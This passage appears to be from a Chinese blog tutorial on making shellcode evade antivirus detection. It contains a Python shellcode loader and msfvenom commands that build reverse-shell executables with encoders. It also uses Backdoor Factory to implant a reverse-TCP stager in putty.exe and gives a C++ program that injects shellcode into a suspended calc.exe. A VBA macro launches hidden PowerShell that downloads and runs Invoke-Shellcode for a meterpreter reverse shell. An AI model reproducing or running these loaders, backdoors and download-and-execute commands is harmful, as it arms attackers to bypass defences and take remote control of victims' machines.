#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

还有一款编码的工具也好用,安利一下:

https://github.com/ecx86/shellcode_encoder

那么这是利用语言对shellcode编码,也可以选择生成的时候对shellcode编码。

举例msfvenom:

kali@kali:~$ msfvenom -l encoder

Framework Encoders [--encoder ]

Name                          Rank       Description  
----                          ----       -----------  
cmd/brace                     low        Bash Brace Expansion Command Encoder  
cmd/echo                      good       Echo Command Encoder  
cmd/generic\_sh                manual     Generic Shell Variable Substitution Command Encoder  
cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder  
cmd/perl                      normal     Perl Command Encoder  
cmd/powershell\_base64         excellent  Powershell Base64 Command Encoder  
cmd/printf\_php\_mq             manual     printf(1) via PHP magic\_quotes Utility Command Encoder  
generic/eicar                 manual     The EICAR Encoder  
generic/none                  normal     The "none" Encoder  
mipsbe/byte\_xori              normal     Byte XORi Encoder  
mipsbe/longxor                normal     XOR Encoder  
mipsle/byte\_xori              normal     Byte XORi Encoder  
mipsle/longxor                normal     XOR Encoder  
php/base64                    great      PHP Base64 Encoder  
ppc/longxor                   normal     PPC LongXOR Encoder  
ppc/longxor\_tag               normal     PPC LongXOR Encoder  
ruby/base64                   great      Ruby Base64 Encoder  
sparc/longxor\_tag             normal     SPARC DWORD XOR Encoder  
x64/xor                       normal     XOR Encoder  
x64/xor\_context               normal     Hostname-based Context Keyed Payload Encoder  
x64/xor\_dynamic               normal     Dynamic key XOR Encoder  
x64/zutto\_dekiru              manual     Zutto Dekiru  
x86/add\_sub                   manual     Add/Sub Encoder  
x86/alpha\_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder  
x86/alpha\_upper               low        Alpha2 Alphanumeric Uppercase Encoder  
x86/avoid\_underscore\_tolower  manual     Avoid underscore/tolower  
x86/avoid\_utf8\_tolower        manual     Avoid UTF8/tolower  
x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder  
x86/bmp\_polyglot              manual     BMP Polyglot  
x86/call4\_dword\_xor           normal     Call+4 Dword XOR Encoder  
x86/context\_cpuid             manual     CPUID-based Context Keyed Payload Encoder  
x86/context\_stat              manual     stat(2)-based Context Keyed Payload Encoder  
x86/context\_time              manual     time(2)-based Context Keyed Payload Encoder  
x86/countdown                 normal     Single-byte XOR Countdown Encoder  
x86/fnstenv\_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder  
x86/jmp\_call\_additive         normal     Jump/Call XOR Additive Feedback Encoder  
x86/nonalpha                  low        Non-Alpha Encoder  
x86/nonupper                  low        Non-Upper Encoder  
x86/opt\_sub                   manual     Sub Encoder (optimised)  
x86/service                   manual     Register Service  
x86/shikata\_ga\_nai            excellent  Polymorphic XOR Additive Feedback Encoder  
x86/single\_static\_bit         manual     Single Static Bit  
x86/unicode\_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder  
x86/unicode\_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder  
x86/xor\_dynamic               normal     Dynamic key XOR Encoder

使用模板和编码器 for example:

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

Veil中的加密:

schelper:

Obfuscation:

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

关于shellcode编码后执行就点到这里,其他语言也是大同小异,就不多列举了。

上面是一些编码加密shellcode,下面就看看shellcode注入的技巧方式。

大多数注入免杀还将shellcode进行了拆分。

拆分这两个字也很好理解,字面的意思上和各位php一句话木马免杀中大体一样,shellcode也好比我们php木马中需要拆分的危险函数名。

shellcode拆分可以把原本特征明显的程序中shellcode进行位置替换,最简单的比如新增加区段填入shellcode并将入口点jmp到shellcode地址最后再跳回原程序开头,

也可以将shellcode分段布在各个code cave中再分段执行,原理可以参考egg hunt shellcode的中的Omelet Shellcode。

举一些注入例子:

BDF:

https://github.com/secretsquirrel/the-backdoor-factory

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths: 410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves:

  1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
  2. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
  3. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
  4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
  5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
  6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
  7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
  8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
  9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
  10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
  11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
  12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
  13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
  14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
  15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

BDF中-F参数实现多裂缝注入。

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

shellter:

A 选项增加区段注入

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
shellcode = buf;
^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

除了也可以手动整个进程注入,起一个正常进程注入shellcode

例子:

#include "stdafx.h"
#include
#include
#include "iostream"
using namespace std;
unsigned char shellcode[] =
"\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
"\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
"\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
"\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
"\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
"\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
"\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
"\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
"\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
"\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
"\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
"\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
"\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
"\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
"\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
"\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
"\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
"\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
"\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
"\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
"\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
"\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
"\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
"\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";

BOOL injection()  
{  
    wchar\_t Cappname\[MAX\_PATH\] = { 0 };  
    STARTUPINFO si;  
    PROCESS\_INFORMATION pi;  
    LPVOID lpMalwareBaseAddr;  
    LPVOID lpnewVictimBaseAddr;  
    HANDLE hThread;  
    DWORD dwExitCode;  
    BOOL bRet = FALSE;

    lpMalwareBaseAddr = shellcode;

    GetSystemDirectory(Cappname, MAX\_PATH);  
    \_tcscat(Cappname, L"\\\\calc.exe");  
    printf("Injection program Name:%S\\r\\n", Cappname);

    ZeroMemory(&si, sizeof(si));  
    si.cb = sizeof(si);  
    ZeroMemory(&pi, sizeof(pi));

    if (CreateProcess(Cappname, NULL, NULL, NULL,  
        FALSE, CREATE\_SUSPENDED  
        , NULL, NULL, &si, &pi) == 0)  
    {  
        return bRet;  
    }

    lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess  
        , NULL, sizeof(shellcode) + 1, MEM\_COMMIT | MEM\_RESERVE,  
        PAGE\_EXECUTE\_READWRITE);

    if (lpnewVictimBaseAddr == NULL)  
    {  
        return bRet;  
    }

    WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,  
        (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

    hThread = CreateRemoteThread(pi.hProcess, 0, 0,  
        (LPTHREAD\_START\_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

    WaitForSingleObject(pi.hThread, INFINITE);  
    GetExitCodeProcess(pi.hProcess, &dwExitCode);  
    TerminateProcess(pi.hProcess, 0);  
    return bRet;  
}

void help(char\* proc)  
{  
    printf("%s:\[-\] start a process and injection shellcode to memory\\r\\n", proc);  
}

int main(int argc, char\* argv\[\])  
{  
    help(argv\[0\]);  
    injection();  
}

注入就举例到这里,思考下如果是hook函数的检测怎么替换呢,可以进行函数替换,比如win api中可以替换VirtuallAlloc的函数就很多:

0x03 技巧组合

上面说了一些技巧,无论是分离中加载器运行shellcode、白利用运行恶意程序,还是将shellcode编码、加密、注入,对免杀都会有一定效果,单一使用某个技巧的话或多或少会有一定的缺陷。

那么将各个技巧结合起来达到最好的效果是我们需要取思考的事情

举个好用的例子:

https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

这是就是使用shellcode调用graeber的VBA宏,在内存中执行powershell(可以使用编码),达到后门持久化

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

技巧方法是死的,思路是活,在实际环境下也需要各位师傅将多个技巧结合灵巧的思路达到想要的成果。

文末推个个人博客,欢迎友链

https://www.cnblogs.com/-qing-/

完。